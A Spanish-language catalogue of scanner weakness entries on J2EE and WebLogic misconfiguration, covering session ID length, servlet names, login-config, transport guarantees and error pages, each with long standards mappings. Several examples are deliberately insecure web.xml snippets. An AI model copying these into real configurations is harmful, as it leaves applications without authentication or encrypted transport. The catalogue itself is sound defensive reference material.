1464 elementos encontrados
Debilidades
Abstract
Los identificadores de sesión deben tener al menos 128 bits de longitud para evitar ataques por fuerza bruta para adivinar la sesión.
Explanation
El descriptor de implementación de WebLogic debe especificar una longitud de identificador de sesión de al menos 24 bytes. Un identificador de sesión más corto deja la aplicación abierta a ataques por fuerza bruta para adivinar la sesión. Si un atacante puede adivinar el identificador de sesión de un usuario autenticado, puede controlar la sesión del usuario. El resto de esta explicación detallará una justificación aproximada para un identificador de sesión de 24 bytes.

El identificador de sesión está compuesto por una selección pseudoaleatoria de los 62 caracteres alfanuméricos, lo que significa que si la cadena estuviese compuesta de forma realmente aleatoria, cada byte podría producir un máximo de 6 bits de entropía.

El número esperado de segundos necesarios para adivinar un identificador de sesión válido viene dado por la ecuación:

(2^B+1) / (2*A*S)

Donde:

- B es el número de bits de entropía en el identificador de sesión.

- A es el número de intentos que un atacante puede realizar cada segundo.

- S es el número de identificadores de sesión válidos que son válidos y están disponibles para averiguarse en un momento dado.

El número de bits de entropía en el identificador de sesión es siempre menor que el número total de bits en el identificador de sesión. Por ejemplo, si los identificadores de sesión se proporcionaran en orden ascendente, habría cerca de cero bits de entropía en el identificador de sesión cualquiera que sea la longitud del identificador. Suponiendo que los identificadores de sesión se generan utilizando una buena fuente de números aleatorios, estimaremos que el número de bits de entropía en un identificador de sesión es la mitad del número total de bits del identificador de sesión. Para longitudes de identificador realistas esto es posible, aunque quizás optimista.

Si los atacantes utilizan una botnet con cientos o miles de drones, es razonable suponer que podrían intentar decenas de miles de averiguaciones por segundo. Si el sitio web en cuestión es grande y popular, es posible que una gran cantidad de intentos de adivinar pasen desapercibidos durante algún tiempo.

Un límite inferior en el número de identificadores de sesión válidos que están disponibles para adivinar es el número de usuarios que están activos en un sitio en un momento dado. Sin embargo, cualquier usuario que abandone sus sesiones sin cerrar la sesión aumentará este número. (Esta es una de las muchas buenas razones para tener un tiempo de espera de sesión inactivo breve).

Con un identificador de sesión de 64 bits, suponga 32 bits de entropía. Para un sitio web grande, suponga que el atacante puede intentar adivinar 1 000 veces por segundo y que hay 10 000 identificadores de sesión válidos en un momento dado. Dadas estas suposiciones, el tiempo esperado para que un atacante condiga adivinar un identificador de sesión válido es menos de 4 minutos.

Ahora suponga un identificador de sesión de 128 bits que proporciona 64 bits de entropía. En el caso de un sitio web muy grande, un atacante podría intentar adivinar 10 000 veces por segundo con 100 000 identificadores de sesión válidos disponibles para adivinar. Dadas estas suposiciones, el tiempo esperado para que un atacante consiga adivinar un identificador de sesión válido es superior a 292 años.

Trabajando de manera inversa, de bits a bytes, ahora, el identificador de sesión debe ser 128/6, lo que produce aproximadamente 21 bytes. Además, las pruebas empíricas han demostrado que los primeros tres bytes del identificador de sesión no parecen generarse aleatoriamente, lo que significa que para lograr los 64 bits de entropía deseados debemos configurar WebLogic para usar un identificador de sesión de 24 bytes de longitud.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 6
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001941, CCI-001942
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M9 Improper Session Handling
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3405 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002290 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[52] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.config.java.j2ee_misconfiguration_insufficient_session_id_length
Abstract
Un nombre de servlet no válido puede impedir el acceso legítimo al servlet deseado.
Explanation
La ausencia de un nombre de servlet o que esté duplicado en web.xml es un error. Cada servlet debe tener un nombre único (servlet-name) y una asignación correspondiente (servlet-mapping).

Ejemplo 1: La siguiente entrada de web.xml muestra varias definiciones de servlet erróneas.

<!-- No <servlet-name> specified: -->
<servlet>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- Empty <servlet-name> node: -->
<servlet>
<servlet-name/>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- Duplicate <servlet-name> nodes: -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-name>Servlet</servlet-name>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

Estos errores pueden provocar una denegación involuntaria de acceso al servlet.
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_invalid_servlet_name
Abstract
Las restricciones de seguridad y autorización darán error sin una configuración de inicio de sesión.
Explanation
El elemento <login-config> se utiliza para configurar cómo los usuarios se autentican en una aplicación. La ausencia de un método de autenticación significa que la aplicación no sabe cómo aplicar restricciones de autorización ya que nadie puede iniciar sesión. El método de autenticación se especifica mediante la etiqueta <auth-method>, que es un elemento secundario de <login-config>.

Hay cuatro métodos de autenticación: BASIC, FORM, DIGEST, y CLIENT_CERT.

BASIC indica autenticación HTTP básica.
FORM indica autenticación basada en formularios.
DIGEST es como la autenticación BASIC; sin embargo, en DIGEST la contraseña está cifrada.
CLIENT_CERT requiere que los clientes tengan certificados de clave pública y utilicen SSL/TLS.

Ejemplo 1: La siguiente configuración no especifica una configuración de inicio de sesión.

<web-app>

<!-- servlet declarations -->
<servlet>...</servlet>

<!-- servlet mappings-->
<servlet-mapping>...</servlet-mapping>

<!-- security-constraints-->
<security-constraint>...</security-constraint>

<!-- login-config goes here -->

<!-- security-roles -->
<security-role>...</security-role>

</web-app>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Sun Microsystems, Inc. Specifying an Authentication Mechanism
[3] Standards Mapping - Common Weakness Enumeration CWE ID 284
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000778, CCI-001094, CCI-001958, CCI-001967
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-3 Device Identification and Authentication (P1), SC-5 Denial of Service Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-3 Device Identification and Authentication, SC-5 Denial of Service Protection
[9] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_authentication_method
Abstract
Una restricción de seguridad que no especifica una restricción de datos de usuario no puede garantizar que los recursos restringidos estén protegidos en la capa de transporte.
Explanation
Las restricciones de seguridad de web.xml se utilizan normalmente para el control de acceso basado en roles, pero el elemento user-data-constraint opcional especifica una garantía de transporte que evita que el contenido se transmita de forma poco segura.

Dentro de la etiqueta <user-data-constraint>, la etiqueta <transport-guarantee> define cómo se debe controlar la comunicación. Hay tres niveles de garantía de transporte:

1) NONE significa que la aplicación no requiere ninguna garantía de transporte.
2) INTEGRAL significa que la aplicación requiere que los datos enviados entre el cliente y el servidor se envíen de tal manera que no se puedan cambiar en tránsito.
3) CONFIDENTIAL significa que la aplicación requiere que los datos se transmitan de una manera que impida que otras entidades observen el contenido de la transmisión.



En la mayoría de circunstancias, el uso de INTEGRAL o CONFIDENTIAL significa que se requiere SSL/TLS. Si se omiten las etiquetas <user-data-constraint> y<transport-guarantee>, la garantía de transporte predeterminada es NONE.

Ejemplo 1: La siguiente restricción de seguridad no especifica una garantía de transporte.

<security-constraint>
<web-resource-collection>
<web-resource-name>Storefront</web-resource-name>
<description>Allow Customers and Employees access to online store front</description>
<url-pattern>/store/shop/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Anyone</description>
<role-name>anyone</role-name>
</auth-constraint>
</security-constraint>
References
[1] Sun Microsystems, Inc. Java EE 5 Tutorial: Establishing a Secure Connection Using SSL
[2] Sun Microsystems, Inc. Java Servlet Specification Version 2.3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 5
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002418, CCI-002420, CCI-002421, CCI-002422
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[9] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.2.5 General Authenticator Requirements (L3), 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.3.1 Sensitive Private Data (L1 L2 L3), 9.1.1 Communications Security Requirements (L1 L2 L3), 9.2.2 Server Communications Security Requirements (L2 L3), 14.1.3 Build (L2 L3), 14.4.5 HTTP Security Headers Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[14] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 4.2.1, Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 4.2.1, Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective C.4.1 - Web Software Communications
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.j2ee_misconfiguration_missing_data_transport_constraint
Abstract
Una aplicación web debe definir páginas de error predeterminadas para evitar que los atacantes extraigan información de la respuesta de error integrada en el contenedor de la aplicación.
Explanation
Cuando un atacante explora un sitio web en busca de vulnerabilidades, la cantidad de información que el sitio proporciona es fundamental para el éxito o fracaso final de cualquier intento de ataque. Si la aplicación muestra al atacante un seguimiento de pila, la aplicación cede información que facilita significativamente el trabajo del atacante. Por ejemplo, un seguimiento de pila podría mostrar al atacante una cadena de consulta SQL mal formada, el tipo de base de datos que se está utilizando y la versión del contenedor de la aplicación. Esta información permite al atacante apuntar a vulnerabilidades conocidas de estos componentes.

La configuración de la aplicación debe especificar una página de error predeterminada para garantizar que la aplicación nunca filtre mensajes de error a un atacante. La gestión de códigos de error HTTP estándar es útil y fácil de usar, además de ser una buena práctica de seguridad, y una buena configuración también definirá un controlador de error de último recurso que detecta cualquier excepción que la aplicación pueda lanzar.
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-23 Data Mining Protection (P0), SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-23 Data Mining Protection, SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[11] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
